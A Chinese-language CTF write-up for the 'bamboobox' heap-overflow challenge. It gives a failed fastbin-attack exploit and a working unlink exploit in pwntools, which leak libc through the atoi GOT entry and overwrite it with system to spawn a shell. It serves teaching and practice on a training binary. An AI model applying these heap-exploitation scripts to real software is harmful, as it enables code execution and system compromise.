64位标准菜单题,无uaf,开启canary和nx保护,存在堆溢出
此题第一次尝试用fastbin attack打,劫持__malloc_hook打one_gadget
但实践过程中one_gadget出锅,还是放下不完全的exp其实是fastbin attack写错了,相信细心的你一定能找出我当时的错误:
from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])
io=process("./bamboobox")
# io=remote("node4.buuoj.cn",29708)
elf=ELF("./bamboobox")
libc=ELF("./libc-2.23.so")
one_gadget=[0x45216, 0x4526a, 0xf03a4, 0xf1247]
def show():
io.sendlineafter("Your choice:",b"1")
def add(n,c):
io.sendlineafter("Your choice:",b"2")
io.sendlineafter("name:",str(n))
io.sendafter("item:",c)
def edit(n,c,cc):
io.sendlineafter("Your choice:",b"3")
io.sendlineafter("item:",str(n))
io.sendafter("name:",str(c))
io.sendafter("item:",cc)
def delete(n):
io.sendlineafter("Your choice:",b"4")
io.sendlineafter("item:",str(n))
# add(0x40,b"asd") #0
add(0x10,b"cqb") #0
add(0x40,b"opo") #1
add(0x30,b"unun") #2
add(0x10,b"iii") #3
payload=cyclic(0x10)+p64(0)+p64(0x91)
edit(0,len(payload),payload)
delete(1)
add(0x40,b"aaa") #1
show()
leak_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print("leak_addr: "+hex(leak_addr))
libc_addr=leak_addr-0x58-0x3C4B20
malloc_hook=libc_addr+libc.sym[b"__malloc_hook"]
free_hook=libc_addr+libc.sym[b"__free_hook"]
print("libc_addr: "+hex(libc_addr))
print("malloc_hook: "+hex(malloc_hook))
print("free_hook: "+hex(free_hook))
shell=libc_addr+one_gadget[0]
gdb.attach(io)
pause()
add(0x30,b"ppp") #4
add(0x60,b"www") #5
add(0x40,b"qqq") #6
delete(5)
payload=cyclic(0x10)+p64(0)+p64(0x71)+p64(malloc_hook-0x23)
edit(3,len(payload),payload)
add(0x60,p64(shell)) #5
add(0x60,cyclic(0x13)+p64(shell)) #fake_chunk
add(0x40,b"aaa")
io.interactive()
# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
打不通换unlink做法
先放exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])
io=process("./bamboobox")
# io=remote("node4.buuoj.cn",27423)
elf=ELF("./bamboobox")
libc=ELF("./libc-2.23.so")
one_gadget=[0x45216, 0x4526a, 0xf03a4, 0xf1247]
bss_addr=0x6020C8
# pf_got=elf.got[b"printf"]
atoi_got=elf.got[b"atoi"]
free_got=elf.got[b"free"]
def show():
io.sendlineafter("Your choice:",b"1")
def add(n,c):
io.sendlineafter("Your choice:",b"2")
io.sendlineafter("name:",str(n))
io.sendafter("item:",c)
def edit(n,c,cc):
io.sendlineafter("Your choice:",b"3")
io.sendlineafter("item:",str(n))
io.sendafter("name:",str(c))
io.sendafter("item:",cc)
def delete(n):
io.sendlineafter("Your choice:",b"4")
io.sendlineafter("item:",str(n))
add(0x30,b"aaa")
add(0x80,b"qqq")
add(0x40,b"www")
payload=p64(0)+p64(0x30)
fd=bss_addr-0x18
bk=bss_addr-0x10
payload+=p64(fd)+p64(bk)
payload+=cyclic(0x10)
payload+=p64(0x30)+p64(0x90)
edit(0,len(payload),payload)
delete(1)
payload=p64(0)*2+p64(0)+p64(atoi_got)
edit(0,len(payload),payload)
gdb.attach(io)
pause()
show()
io.recvuntil("0 : ")
libc_base=u64(io.recv(6).ljust(8,b"\x00"))-libc.sym[b"atoi"]
print("libc_base: "+hex(libc_base))
sys_addr=libc_base+libc.sym[b"system"]
edit(0,8,p64(sys_addr))
io.sendafter("choice:",b"/bin/sh\x00")
io.interactive()
首先申请3个堆块,利用edit(0)通过chunk0伪造一个fake_chunk,注意unlink的检查机制,chunk1的size和prev_size(即fake_chunk size)不能错,此外注意chunk1的大小需大于fastbin最大值,方便后来delete(1)时和fake_chunk合并触发unlink操作
payload=p64(0)+p64(0x30)
fd=bss_addr-0x18
bk=bss_addr-0x10
payload+=p64(fd)+p64(bk)
payload+=cyclic(0x10)
payload+=p64(0x30)+p64(0x90)
edit(0,len(payload),payload)
delete(1)
之后fake_chunk的fd指针指向了chunk指针-0x18处
再次通过edit修改chunk指针处的地址为atoi_got(调用过的函数got地址都可以,不过采用atoi方便最后传参),方便show()时泄露libc
payload=p64(0)*2+p64(0)+p64(atoi_got)
edit(0,len(payload),payload)
最后将atoi的got表地址改为system地址,此时调用atoi读入参数时同时调用了system,参数传入system,若传入"sh"则可以getshell